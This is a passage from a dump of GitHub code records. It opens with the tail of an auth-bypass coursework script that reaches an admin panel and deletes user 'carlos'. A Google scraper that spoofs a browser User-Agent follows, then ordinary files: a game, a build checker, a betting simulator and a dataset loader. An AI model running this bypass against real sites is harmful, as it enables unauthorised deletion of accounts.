level.\n\"\"\"\nresp = s.get(f\"https://{site}/admin\")\nprint(f\"Request admin panel status: {resp.status_code}\")\n\nsoup = BeautifulSoup(resp.text, 'html.parser')\ncarlos_delete_link = [link for link in soup.find_all('a') if 'carlos' in link.get('href')]\ndelete_uri = carlos_delete_link[0]['href']\nresp = s.get(f\"https://{site}{delete_uri}\")\nprint(f\"Delete Carlos' profile status: {resp.status_code}\")","repo_name":"tgomez22/Security","sub_path":"s21_Websec_Coursework/final/authBypass.py","file_name":"authBypass.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"28091600705","text":"import os\nimport re\nimport sys\n\nfrom elftools.elf.elffile import ELFFile\n\n# If an ESP-IDF source file has no option but to include __FILE__ macros, name it here (as re expression).\n#\n# IMPORTANT: This should only be used for upstream code where there is no other\n# option. ESP-IDF code should avoid embedding file names as much as possible to\n# limit the binary size and support reproducible builds\n#\n# Note: once ESP-IDF moves to Python >=3.6 then this can be simplified to use 'glob' and '**'\nEXCEPTIONS = [\n    r'openssl/.+/ssl_pm.c.obj$',  # openssl API requires __FILE__ in error reporting functions, as per upstream API\n    r'openssl/.+/ssl_bio.c.obj$',\n    r'unity/.+/unity_runner.c.obj$',  # unity is not for production use, has __FILE__ for test information\n]\n\n\ndef main():  # type: () -> None\n    idf_path = sys.argv[1]\n    build_dir = sys.argv[2]\n\n    assert os.path.exists(idf_path)\n    assert os.path.exists(build_dir)\n\n    print('Checking object files in {} for mentions of {}...'.format(build_dir, idf_path))\n\n    # note: once ESP-IDF moves to Python >=3.6 then this can be simplified to use 'glob' and f'{build_dir}**/*.obj'\n    files = []\n    for (dirpath, _, filepaths) in os.walk(build_dir):\n        files += [os.path.join(dirpath, filepath) for filepath in filepaths if filepath.endswith('.obj')]\n\n    print('Found {} object files...'.format(len(files)))\n\n    idf_path_binary = idf_path.encode()  # we're going to be checking binary streams (note: probably non-ascii IDF_PATH will not match OK)\n\n    failures = 0\n    for obj_file in files:\n        if not any(re.search(exception, obj_file) for exception in EXCEPTIONS):\n            failures += check_file(obj_file, idf_path_binary)\n    if failures > 0:\n        raise SystemExit('{} source files are embedding file paths, see list above.'.format(failures))\n    print('No embedded file paths found')\n\n\ndef check_file(obj_file, idf_path):   # type: (str, bytes) -> int\n    failures = 0\n    with open(obj_file, 'rb') as f:\n        elf = ELFFile(f)\n        for sec in elf.iter_sections():\n            # can't find a better way to filter out only sections likely to contain strings,\n            # and exclude debug sections. .dram matches DRAM_STR, which links to .dram1\n            if '.rodata' in sec.name or '.dram' in sec.name:\n                contents = sec.data()\n                if idf_path in contents:\n                    print('error: {} contains an unwanted __FILE__ macro'.format(obj_file))\n                    failures += 1\n                    break\n    return failures\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"espressif/esp-idf","sub_path":"tools/test_apps/system/no_embedded_paths/check_for_file_paths.py","file_name":"check_for_file_paths.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":11541,"dataset":"github-code","pt":"3"}
+{"seq_id":"791234559","text":"import sys\nfrom math import sqrt\nfrom random import Random\n\nfrom pygame.constants import QUIT\nfrom pygame.surface import Surface\n\nrand = Random()\nSIZE = (400, 400)\n\n\ndef bounce_io(pygame, background_fill, player_color, target_color, surface_size, min_radius, max_radius):\n    global SIZE\n    SIZE = surface_size\n    pygame.init()\n    fps = 30\n    fps_clock = pygame.time.Clock()\n    player_speed = 3\n    target_speed = 4\n    display_surface: Surface = pygame.display.set_mode(surface_size, 0, 32)\n    pygame.display.set_caption(\"Collision Test\")\n    player = Circle(\n        (surface_size[0] // 2, surface_size[1] // 2),\n        10,\n        player_speed\n    )\n    target = Circle(\n        random_location(),\n        10,\n        target_speed\n    )\n    is_shrinking = False\n    while True:\n        for event in pygame.event.get():\n            if event.type == QUIT:\n                pygame.quit()\n                sys.exit()\n        display_surface.fill(background_fill)\n        pygame.draw.circle(display_surface, player_color, player.location, player.radius)\n        if is_shrinking:\n            player.radius -= 1\n            if player.radius <= min_radius:\n                is_shrinking = False\n                target.location = random_location()\n        else:\n            pygame.draw.circle(display_surface, target_color, target.location, target.radius)\n            bounce(target)\n            chase(player, target)\n            player.location = (player.location[0] + player.speed_vector[0], player.location[1] + player.speed_vector[1])\n            if player.distance_to(target) > player.radius + target.radius:\n                target.location = (\n                    target.location[0] + target.speed_vector[0], target.location[1] + target.speed_vector[1]\n                )\n            else:  # We collided\n                radius_gain = int(0.3 * target.radius)\n                if player.radius + radius_gain < max_radius:\n                    player.radius += radius_gain\n                    target.location = random_location()\n                else:\n                    is_shrinking = True\n\n        pygame.display.update()\n        fps_clock.tick(fps)\n        debug(\"player (x, y): (%d, %d)\" % (player.x, player.y))\n\n\ndef bounce_io_debug(pygame, background_fill, player_color, target_color, surface_size, min_radius, max_radius, debugger):\n    global debug\n    debug = debugger\n    bounce_io(pygame, background_fill, player_color, target_color, surface_size, min_radius, max_radius)\n\n\ndef random_location():\n    return rand.randint(10, SIZE[0] - 10), rand.randint(10, SIZE[1] - 10)\n\n\nclass Circle:\n    def __init__(self, location, radius, speed: int, speed_vector=None):\n        self.location = location\n        self.radius = radius\n        self.speed = speed\n        if speed_vector is None:\n            self.speed_vector = (self.speed, self.speed)\n        else:\n            self.speed_vector = speed_vector\n\n    @property\n    def x(self):\n        return self.location[0]\n\n    @property\n    def y(self):\n        return self.location[1]\n\n    @property\n    def top(self):\n        return self.y - self.radius\n\n    @property\n    def bottom(self):\n        return self.y + self.radius\n\n    @property\n    def left(self):\n        return self.x - self.radius\n\n    @property\n    def right(self):\n        return self.x + self.radius\n\n    def distance_to(self, other):\n        horizontal_distance = self.x - other.x\n        vertical_distance = self.y - other.y\n        return sqrt(pow(horizontal_distance, 2) + pow(vertical_distance, 2))\n\n\ndef bounce(circle: Circle):\n    if circle.left <= 0 or circle.right >= SIZE[0]:\n        circle.speed_vector = (-circle.speed_vector[0], circle.speed_vector[1])\n    if circle.top <= 0 or circle.bottom >= SIZE[1]:\n        circle.speed_vector = (circle.speed_vector[0], -circle.speed_vector[1])\n\n\ndef chase(player: Circle, target: Circle):\n    horizontal_speed = 0\n    vertical_speed = 0\n    if target.x > player.x:\n        horizontal_speed = 1\n    elif target.x < player.x:\n        horizontal_speed = -1\n    if target.y > player.y:\n        vertical_speed = 1\n    elif target.y < player.y:\n        vertical_speed = -1\n    if player.distance_to(target) < player.speed:\n        speed = int(player.distance_to(target))\n    else:\n        speed = player.speed\n    player.speed_vector = horizontal_speed * speed, vertical_speed * speed\n","repo_name":"josephshell/bounceIO","sub_path":"src/games/bounceIO/BounceIo.py","file_name":"BounceIo.py","file_ext":"py","file_size_in_byte":4355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6678711123","text":"t = int(input())\n\nfor _ in range(t):\n    cnt = 0\n    isTrue = False\n    n, m = map(int, input().split())\n    x = input()\n    s = input()\n\n    while not isTrue and cnt < 8:\n        if s in x:\n            print(cnt)\n            isTrue = True\n        cnt += 1\n        x = x + x\n\n    if not isTrue:\n        print(-1)\n","repo_name":"hoosong0235/codeforces","sub_path":"Codeforces Round 903 (Div. 3)/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38326978073","text":"import os, requests, lxml, re, json, urllib.request\nfrom bs4 import BeautifulSoup\nfrom serpapi import GoogleSearch\n\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36\"\n}\n\n# search = input(\"Image Query: \")\n\nparams = {\n    # \"q\": search, # search query\n    \"q\": \"in game nfl photos\",    # search query\n    \"tbm\": \"isch\",                # image results\n    \"hl\": \"en\",                   # language of the search\n    \"gl\": \"us\",                   # country where search comes from\n    \"ijn\": \"0\"                    # page number\n}\n\nhtml = requests.get(\"https://www.google.com/search\", params=params, headers=headers, timeout=30)\nsoup = BeautifulSoup(html.text, \"lxml\")\n\nclass GoogScrape():\n    def __init__(self, headers, params, html, soup):\n        self.headers = headers\n        self.params = params\n        self.html = html\n        # print(html)\n        self.soup = soup\n        # print(soup)\n\n        self.get_images_with_request_headers(params, soup)\n        self.get_suggested_search_data(soup)\n        self.get_original_images(soup)\n        self.serpapi_get_google_images(params)\n\n    def get_images_with_request_headers(self, params, soup):\n        del params[\"ijn\"]\n        params[\"content-type\"] = \"image/png\" # parameter that indicate the original media type\n\n        return [img[\"src\"] for img in soup.select(\"img\")]\n\n    def get_suggested_search_data(self, soup):\n        suggested_searches = []\n\n        all_script_tags = soup.select(\"script\")\n\n        # https://regex101.com/r/48UZhY/6\n        matched_images = \"\".join(re.findall(r\"AF_initDataCallback\\(({key: 'ds:1'.*?)\\);</script>\", str(all_script_tags)))\n        \n        # https://kodlogs.com/34776/json-decoder-jsondecodeerror-expecting-property-name-enclosed-in-double-quotes\n        # if you try to json.loads() without json.dumps it will throw an error:\n        # \"Expecting property name enclosed in double quotes\"\n        matched_images_data_fix = json.dumps(matched_images)\n        matched_images_data_json = json.loads(matched_images_data_fix)\n\n        # search for only suggested search thumbnails related\n        # https://regex101.com/r/ITluak/2\n        suggested_search_thumbnails = \",\".join(re.findall(r'{key(.*?)\\[null,\\\"Size\\\"', matched_images_data_json))\n\n        # https://regex101.com/r/MyNLUk/1\n        suggested_search_thumbnail_encoded = re.findall(r'\\\"(https:\\/\\/encrypted.*?)\\\"', suggested_search_thumbnails)\n\n        for suggested_search, suggested_search_fixed_thumbnail in zip(soup.select(\".PKhmud.sc-it.tzVsfd\"), suggested_search_thumbnail_encoded):\n            suggested_searches.append({\n                \"name\": suggested_search.select_one(\".VlHyHc\").text,\n                \"link\": f\"https://www.google.com{suggested_search.a['href']}\",\n                # https://regex101.com/r/y51ZoC/1\n                \"chips\": \"\".join(re.findall(r\"&chips=(.*?)&\", suggested_search.a[\"href\"])),\n                # https://stackoverflow.com/a/4004439/15164646 comment by Frédéric Hamidi\n                \"thumbnail\": bytes(suggested_search_fixed_thumbnail, \"ascii\").decode(\"unicode-escape\")\n            })\n\n        return suggested_searches\n\n    def get_original_images(self, soup):\n\n        \"\"\"\n        https://kodlogs.com/34776/json-decoder-jsondecodeerror-expecting-property-name-enclosed-in-double-quotes\n        if you try to json.loads() without json.dumps() it will throw an error:\n        \"Expecting property name enclosed in double quotes\"\n        \"\"\"\n\n        google_images = []\n\n        all_script_tags = soup.select(\"script\")\n\n        # # https://regex101.com/r/48UZhY/4\n        matched_images_data = \"\".join(re.findall(r\"AF_initDataCallback\\(([^<]+)\\);\", str(all_script_tags)))\n        \n        matched_images_data_fix = json.dumps(matched_images_data)\n        matched_images_data_json = json.loads(matched_images_data_fix)\n\n        # https://regex101.com/r/VPz7f2/1\n        matched_google_image_data = re.findall(r'\\\"b-GRID_STATE0\\\"(.*)sideChannel:\\s?{}}', matched_images_data_json)\n\n        # https://regex101.com/r/NnRg27/1\n        matched_google_images_thumbnails = \", \".join(\n            re.findall(r'\\[\\\"(https\\:\\/\\/encrypted-tbn0\\.gstatic\\.com\\/images\\?.*?)\\\",\\d+,\\d+\\]',\n                    str(matched_google_image_data))).split(\", \")\n\n        thumbnails = [\n            bytes(bytes(thumbnail, \"ascii\").decode(\"unicode-escape\"), \"ascii\").decode(\"unicode-escape\") for thumbnail in matched_google_images_thumbnails\n        ]\n\n        # removing previously matched thumbnails for easier full resolution image matches.\n        removed_matched_google_images_thumbnails = re.sub(\n            r'\\[\\\"(https\\:\\/\\/encrypted-tbn0\\.gstatic\\.com\\/images\\?.*?)\\\",\\d+,\\d+\\]', \"\", str(matched_google_image_data))\n\n        # https://regex101.com/r/fXjfb1/4\n        # https://stackoverflow.com/a/19821774/15164646\n        matched_google_full_resolution_images = re.findall(r\"(?:'|,),\\[\\\"(https:|http.*?)\\\",\\d+,\\d+\\]\", removed_matched_google_images_thumbnails)\n\n        full_res_images = [\n            bytes(bytes(img, \"ascii\").decode(\"unicode-escape\"), \"ascii\").decode(\"unicode-escape\") for img in matched_google_full_resolution_images\n        ]\n        \n        for index, (metadata, thumbnail, original) in enumerate(zip(soup.select('.isv-r.PNCib.MSM1fd.BUooTd'), thumbnails, full_res_images), start=1):\n            google_images.append({\n                \"title\": metadata.select_one(\".VFACy.kGQAp.sMi44c.lNHeqe.WGvvNb\")[\"title\"],\n                \"link\": metadata.select_one(\".VFACy.kGQAp.sMi44c.lNHeqe.WGvvNb\")[\"href\"],\n                \"source\": metadata.select_one(\".fxgdke\").text,\n                \"thumbnail\": thumbnail,\n                \"original\": original\n            })\n\n            # Download original images\n            print(f'Downloading {index} image...')\n            \n            opener=urllib.request.build_opener()\n            opener.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36')]\n            urllib.request.install_opener(opener)\n\n            urllib.request.urlretrieve(original, f'Bs4_Images/original_size_img_{index}.jpg')\n\n        return google_images\n\n    def serpapi_get_google_images(self, params):\n        image_results = []\n        \n        for query in [\"Coffee\", \"boat\", \"skyrim\", \"minecraft\"]:\n            # search query parameters\n            params = {\n                \"engine\": \"google\",               # search engine. Google, Bing, Yahoo, Naver, Baidu...\n                \"q\": query,                       # search query\n                \"tbm\": \"isch\",                    # image results\n                \"num\": \"100\",                     # number of images per page\n                \"ijn\": 0,                         # page number: 0 -> first page, 1 -> second...\n                \"api_key\": os.getenv(\"API_KEY\")   # your serpapi api key\n                # other query parameters: hl (lang), gl (country), etc  \n            }\n        \n            search = GoogleSearch(params)         # where data extraction happens\n        \n            images_is_present = True\n            while images_is_present:\n                results = search.get_dict()       # JSON -> Python dictionary\n        \n                # checks for \"Google hasn't returned any results for this query.\"\n                if \"error\" not in results:\n                    for image in results[\"images_results\"]:\n                        if image[\"original\"] not in image_results:\n                            image_results.append(image[\"original\"])\n                    \n                    # update to the next page\n                    params[\"ijn\"] += 1\n                else:\n                    print(results[\"error\"])\n                    images_is_present = False\n        \n        # -----------------------\n        # Downloading images\n\n        for index, image in enumerate(results[\"images_results\"], start=1):\n            print(f\"Downloading {index} image...\")\n            \n            opener=urllib.request.build_opener()\n            opener.addheaders=[(\"User-Agent\",\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36\")]\n            urllib.request.install_opener(opener)\n\n            urllib.request.urlretrieve(image[\"original\"], f\"SerpApi_Images/original_size_img_{index}.jpg\")\n\n        print(json.dumps(image_results, indent=2))\n        print(len(image_results))\n\n\nimgs = GoogScrape(headers, params, html, soup)","repo_name":"dlynch42/Google-Scraper","sub_path":"googScrape.py","file_name":"googScrape.py","file_ext":"py","file_size_in_byte":8548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"471775385","text":"\"\"\"\n    module: Uwsgi_Statistics.py\n    ------------------------------------------------------------------------\n    Author:      David J. Sanders\n    Student No:  H00035340\n    Last Update: 20 December 2015\n    Update:      Created\n    ------------------------------------------------------------------------\n    Overivew:    .\n\n    Purpose:     .\n\n    Called By:   ** many **\n\n    References\n    ----------\n\"\"\"\n# Import the configuration package\nimport notifications.resources.Config as Config\n\n# Import the flask_restful components\nfrom flask_restful import Resource, Api, reqparse, abort\n\n# Import the app and api contexts\nfrom notifications import app, api\n\n# Import the response object to build HTTP responses\nfrom notifications.resources.Response import Response_Object\n\n# Import JSON and http requests packages\nimport json\nimport requests\n\n#\n# Object for statistics\n#\nclass Uwsgi_Statistics(Resource):\n    def get(self):\n        response_object = Response_Object(\n            message = 'Statistics from uwsgi server.'\n        )\n        try:\n            stat_server = 'http://localhost:9191/'\n            r = requests.get(stat_server)\n            if r.status_code != 200:\n                response_object.raise_for_status()\n            else:\n                response_object.response_data = r.json()\n        except requests.exceptions.HTTPError as he:\n            response_object.set_failure(\n                failure_message = 'An HTTP error occured. '+str(he),\n                status_code = he.response.status_code\n            )\n        except requests.exceptions.ConnectionError as ce:\n            response_object.set_failure(\n                failure_message = 'A connection error occured. '+str(ce)+'. '\\\n                    'Please Note: stats are only supported when running the '+\\\n                    'app on uWSGI.',\n                status_code = 500\n            )\n        except Exception as e:\n            response_object.set_failure(\n                failure_message = 'An error occured. '+repr(e),\n                status_code = 500\n            )\n\n        # Return the HTTP response object with data and status. The Response_\n        # Object class will create an HTTP Response with the correct data,\n        # status code, and mimetype.\n        return response_object.response()\n\n","repo_name":"davidjsanders/studyWork","sub_path":"stage1/notifications - Freeze 30 Dec 2015/notifications/resources/Uwsgi_Statistics.py","file_name":"Uwsgi_Statistics.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9568155552","text":"import sys\nfrom GUI_EXAMPLE_BASE import GUI_EXAMPLE_BASE\nfrom PyQt5.QtWidgets import QApplication\nsys.path.insert(0, \"../view\")\nfrom SequenceIonsWidget import SequenceIonsWidget\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n    ex = GUI_EXAMPLE_BASE()  # plain QMainWindow with basic layout and menu bar\n    example_widget = SequenceIonsWidget(ex)\n    example_widget.setPeptide(\"HLDKIDMLKSLD\")\n    example_widget.setPrefix(\n        {1: [\"a1\", \"b1\", \"c1\"], 3: [\"a3\", \"b3\", \"c3\"], 5: [\"a3\", \"b3\", \"c3\"]}\n    )\n    example_widget.setSuffix(\n        {1: [\"x1\", \"x3\"], 2: [\"x2\", \"y2\"], 4: [\"x4\", \"y4\", \"z4\"]})\n    ex.setExampleWidget(example_widget)\n    ex.show()\n    sys.exit(app.exec_())\n","repo_name":"OpenMS/pyopenms-docs","sub_path":"src/examples/GUI_SequenceIonsWidget.py","file_name":"GUI_SequenceIonsWidget.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"22"}
+{"seq_id":"22412679682","text":"from data_preprocessor import format_result\nimport numpy as np\n\ndef simulate_betting(df, model, X_test, stake=10):\n    \"\"\"\n    Simulates betting using the given model and calculates the profit or loss.\n\n    The function simulates betting on games using the predicted probabilities from the model\n    and the actual odds from the DataFrame. The profit or loss for each bet is calculated based on \n    whether the actual outcome matches the predicted outcome and the corresponding odds.\n    The total profit or loss from all bets is returned.\n    \n    Parameters\n    ----------\n    df : pd.DataFrame\n        DataFrame containing the odds and actual results of the games.\n    model : Model object\n        Trained model object which is capable of performing `predict_proba` on the test set.\n    X_test : pd.DataFrame\n        Test data features used for predicting probabilities using the model.\n    stake : int, optional\n        The amount of money to be bet on each game, by default 10.\n        \n    Returns\n    -------\n    float\n        The total profit or loss after simulating the betting.\n    \"\"\"\n    odds_columns = ['home_odds', 'draw_odds', 'away_odds']\n    \n    # Convert odds to implied probabilities\n    implied_probabilities = 1 / df[odds_columns]\n    actual_outcomes = df['result'].apply(lambda x: format_result(x))\n    predicted_probabilities = model.predict_proba(X_test)\n    \n    profit = 0\n    \n    for idx, (actual, probs) in enumerate(zip(actual_outcomes, predicted_probabilities)):\n        best_bet = np.argmax(probs)\n        if probs[best_bet] > implied_probabilities.iloc[idx, best_bet]:\n            if best_bet == actual:\n                profit += stake * df.iloc[idx].loc[odds_columns[best_bet]] - stake\n            else:\n                profit -= stake\n                \n    return profit \n\n","repo_name":"david-anders1/prediction-football","sub_path":"betting_simulator.py","file_name":"betting_simulator.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2620404729","text":"import requests\nfrom bs4 import BeautifulSoup as bs\nimport pandas as pd\n\n# отримаємо сторінку новин \nurl = 'https://knute.edu.ua/blog/read/?pid=16857&uk'\nresp = requests.get(url)\n#print(dir(resp))\nresp.text[:500]\nresp.encoding\nresp.apparent_encoding\nresp.encoding = resp.apparent_encoding\n#print(resp.text[:500])\nknteu_contact_page = resp.text\nparsed_contacts = bs(knteu_contact_page, features='html.parser')\n#print(dir(parsed_news))\n\namount_rows = parsed_contacts.find_all('table')[0].tbody.find_all('tr')\n# print(len(amount_rows))\n\nfor i in amount_rows:\n    name_column = [row.find_all('td')[0].text.strip().replace(\"\\n\", \" \").replace(\"\\xa0\", \" \") for row in amount_rows]\n    phone_column = [row.find_all('td')[1].text.strip().replace(\"\\n\", \" \").replace(\"\\xa0\", \" \") for row in amount_rows]\n    email_column = [row.find_all('td')[2].text.strip().replace(\"\\n\", \" \").replace(\"\\xa0\", \" \") for row in amount_rows]\n\ncontacts = []\nfor i in range(len(amount_rows)):\n    contact = name_column[i], phone_column[i], email_column[i]\n    contacts.append(contact)\n# print(contacts)\n\n# завантажимо результат в датафрейм\ncontacts_df = pd.DataFrame(contacts, columns=['Відділ', 'Телефон', 'email'])\ncontacts_df.to_csv('contacts.csv', index=False, encoding='utf-8-sig', sep=';',columns=['Відділ', 'Телефон', 'email'])","repo_name":"Nick-Alskling/ns_magistr_diploma","sub_path":"get_contacts.py","file_name":"get_contacts.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34353812953","text":"import os\nimport torch\nfrom data.base_dataset import BaseDataset\nimport numpy as np\nimport nibabel as nib\n\nfrom utils.patch_operations import find_bounding_box, slice_matrix, concat_matrices, pad_patch, crop_patch, find_bounding_box\nfrom processing.subfunctions import NormalizationHCPdti\n\nclass HCPdtiDataset(BaseDataset):\n    \"\"\"A dataset class for brain image dataset.\n\n    It assumes that the directory '/path/to/data/train' contains brain image slices\n    in torch.tensor format to speed up the I/O. Otherwise, you can load MRI brain images\n    using nibabel package and preprocess the slices during loading period.\n    \"\"\"\n\n    def __init__(self, opt):\n        \"\"\"\n        Initialize this dataset class.\n        \"\"\"\n        BaseDataset.__init__(self, opt)\n        # print('HCP_DTI_Dataset is created.')\n        self.sub_list = os.listdir(opt.dataroot)\n        self.opt = opt\n\n        self.input_nc = self.opt.input_nc\n        self.output_nc = self.opt.output_nc\n\n        self.patch_shape = (64, 64, self.opt.patch_axial)\n        self.patchwise_overlap = (32, 32, self.opt.patch_axial//2)\n        self.patchwise_skip_blanks = self.opt.patchwise_skip_blanks\n        self.prepare_batches = False\n        self.analysis = 'patchwise-grid'\n\n        self.save_axial_slices = 80\n        self.invalid_axial_slices = 30\n\n        # set up training/validation\n        shuffle_batches = opt.shuffle_batches\n        if self.opt.phase == 'train':\n            training = True\n            validation = False\n            self.sample_list_tr = opt.sample_list\n            self.set_up(self.sample_list_tr, training, validation, shuffle_batches)\n        elif self.opt.phase == 'test':\n            training = False\n            validation = False\n            self.sample_list_ts = opt.sample_list\n            self.set_up([self.sample_list_ts[opt.eval_sample]], training, validation, shuffle_batches)\n            self.save_axial_slices = 0\n            self.invalid_axial_slices = 0\n        elif self.opt.phase == 'validation':\n            training = False\n            validation = True\n            self.sample_list_ts = opt.sample_list\n            self.set_up([self.sample_list_ts[opt.eval_sample]], training, validation, shuffle_batches)\n            self.save_axial_slices = 0\n            self.invalid_axial_slices = 0\n        else:\n            print('Invalid phase!')\n\n    def set_up(self, sample_list, training=False, validation=False, shuffle=False):\n        # Parse sample list\n        if isinstance(sample_list, list) : self.sample_list = sample_list.copy()\n        elif type(sample_list).__module__ == np.__name__ :\n            self.sample_list = sample_list.tolist()\n        else : raise ValueError(\"Sample list have to be a list or numpy array!\")\n\n        # Create a working environment from the handed over variables\n        self.training = training\n        self.validation = validation\n        self.shuffle = shuffle\n\n        self.coord_queue = []\n        self.samples = {}\n        self.cache = {}\n\n        # for normalization\n        gt_mean = []\n        gt_std = []\n\n        # print('---------------Load data and preprocessing-----------------')\n        for i, index in enumerate(sample_list):\n            # Load sample\n            print('[loading case]:', index)\n            if not self.prepare_batches:\n                if not training and not validation:\n                    # test: load without gt\n                    sample = self.opt.data_io.sample_loader(index, load_seg=True, load_pred=False, backup=False,\n                                                            load_gt=False)\n                else:\n                    sample = self.opt.data_io.sample_loader(index, load_seg=True, load_pred=False, backup=False,\n                                                            load_gt=True)\n            # Load sample from backup\n            else:\n                sample = self.opt.data_io.sample_loader(index, backup=True)\n\n            # check if not all background\n            if np.sum(sample.seg_data[:, :,\n                      sample.seg_data.shape[2] - int(self.opt.save_axial * sample.seg_data.shape[2]):, :]) == 0:\n                continue\n\n            # crop top slices\n            if not training:\n                self.opt.save_axial = 1\n                self.cache[\"shape_\" + str(index)] = sample.img_data.shape\n            sample.img_data = sample.img_data[:, :,\n                              sample.img_data.shape[2] - int(self.opt.save_axial * sample.img_data.shape[2]):, :]\n            sample.seg_data = sample.seg_data[:, :,\n                              sample.seg_data.shape[2] - int(self.opt.save_axial * sample.seg_data.shape[2]):, :]\n            sample.gt_data = sample.gt_data[:, :,\n                             sample.gt_data.shape[2] - int(self.opt.save_axial * sample.gt_data.shape[2]):, :]\n\n            # patch slicing before norm: run patchwise grid slicing, return coordinates of patches\n            print('[starting patch slicing]...')\n            coords_img_data = self.analysis_patchwise_grid(sample, training, index)\n            self.coord_queue.extend(coords_img_data)\n            print('crop patches from: ', i, index, sample.img_data.shape, len(coords_img_data),\n                  len(self.coord_queue))\n\n            # normalization\n            print('[starting normalization]...')\n            sf_zscore = NormalizationHCPdti(mode=\"z-score\")\n            # Assemble Subfunction classes into a list\n            subfunctions = [sf_zscore]\n            for sf in subfunctions:\n                sf.preprocessing(sample, training=training, validation=validation, opt=self.opt)\n                if str(sf.mode) == 'z-score' or 'z-score_v2' or 'z-score_v3':\n                    gt_mean.append(sf.ref_mean)\n                    gt_std.append(sf.ref_std)\n                sample.input_brain_mask = sf.input_brain_mask\n                sample.crop_region_mask = sf.crop_region_mask\n            self.sf_zscore = sf_zscore\n            self.subfunctions = subfunctions\n\n            # save the mean and std of all cases during training\n            if training:\n                np.save(os.path.join(self.opt.checkpoints_dir, self.opt.name, sf.mode + '_gt_mean.npy'),\n                        np.mean(np.array(gt_mean), axis=0), allow_pickle=True)\n                np.save(os.path.join(self.opt.checkpoints_dir, self.opt.name, sf.mode + '_gt_std.npy'),\n                        np.mean(np.array(gt_std), axis=0), allow_pickle=True)\n            self.samples[index] = sample\n        print('-----------end preprocessing-----------------')\n\n    # ---------------------------------------------#\n    #           Patch-wise grid Analysis          #\n    # ---------------------------------------------#\n    def analysis_patchwise_grid(self, sample, training, index=None):\n        # Slice image into patches\n        img_to_sliced = sample.img_data\n        patches_img, coords_img = slice_matrix(img_to_sliced, self.patch_shape, self.patchwise_overlap,\n                                               self.opt.data_io.interface.three_dim, index, save_coords=True)\n        # Skip blank patches (only background)\n        if training and self.patchwise_skip_blanks:\n            # Iterate over each patch\n            for i in reversed(range(0, len(patches_img))):\n                # IF patch DON'T contain any non background class -> remove it\n                if np.sum(patches_img[i]) == 0:\n                    del patches_img[i]\n                    del coords_img[i]\n        # Concatenate a list of patches coordinates into a single numpy array\n        coords_img_data = np.stack(coords_img, axis=0)\n        # Return preprocessed data tuple\n        return coords_img_data\n\n    # ---------------------------------------------#\n    #          Prediction Postprocessing          #\n    # ---------------------------------------------#\n    # Postprocess prediction data\n    def postprocessing(self, sample, prediction, shape=None, coords=None):\n        # Reassemble patches into original shape for patchwise analysis\n        if self.analysis == \"patchwise-crop\" or \\\n                self.analysis == \"patchwise-grid\":\n            # Check if patch was padded\n            slice_key = \"slicer_\" + str(sample)\n            if slice_key in self.cache:\n                prediction = crop_patch(prediction, self.cache[slice_key])\n            # Load cached shape & Concatenate patches into original shape\n            seg_shape = self.cache.pop(\"shape_\" + str(sample))\n            prediction = concat_matrices(patches=prediction,\n                                         image_size=seg_shape,\n                                         window=self.patch_shape,\n                                         overlap=self.patchwise_overlap,\n                                         three_dim=self.opt.data_io.interface.three_dim,\n                                         coords=coords)\n        # For fullimages remove the batch axis\n        else:\n            prediction = np.squeeze(prediction, axis=0)\n        # Run Subfunction postprocessing on the prediction\n        for sf in reversed(self.subfunctions):\n            prediction = sf.postprocessing(prediction)\n        # Return postprocessed prediction\n        return prediction\n\n    # Return the next batch for associated index\n    def __getitem__(self, idx):\n\n        self.coords_batches = self.coord_queue\n\n        self.now_sample = self.samples[self.coords_batches[idx]['index']]\n\n        x_start = self.coords_batches[idx]['x_start']\n        x_end = self.coords_batches[idx]['x_end']\n        y_start = self.coords_batches[idx]['y_start']\n        y_end = self.coords_batches[idx]['y_end']\n        z_start = self.coords_batches[idx]['z_start']\n        z_end = self.coords_batches[idx]['z_end']\n\n\n        x = torch.from_numpy(self.now_sample.img_data[x_start:x_end, y_start:y_end, z_start:z_end])\n        y = torch.from_numpy(self.now_sample.seg_data[x_start:x_end, y_start:y_end, z_start:z_end])\n        gt = torch.from_numpy(self.now_sample.gt_data[x_start:x_end, y_start:y_end, z_start:z_end])\n\n        # w h d c\n        brain = x.clone()\n        mask = y.clone()\n        # w h d c -> c w h d\n        brain = brain.permute(3,0,1,2)\n        mask = mask.permute(3, 0, 1, 2)\n        gt = gt.permute(3,0,1,2)\n\n        input_brain_mask = torch.from_numpy(self.now_sample.input_brain_mask[x_start:x_end, y_start:y_end, z_start:z_end])\n        crop_region_mask = torch.from_numpy(self.now_sample.crop_region_mask[x_start:x_end, y_start:y_end, z_start:z_end])\n\n        input_brain_mask = torch.unsqueeze(input_brain_mask, 0)\n        input_brain_mask = torch.repeat_interleave(input_brain_mask, 6, dim=0)\n        crop_region_mask = torch.unsqueeze(crop_region_mask, 0)\n        crop_region_mask = 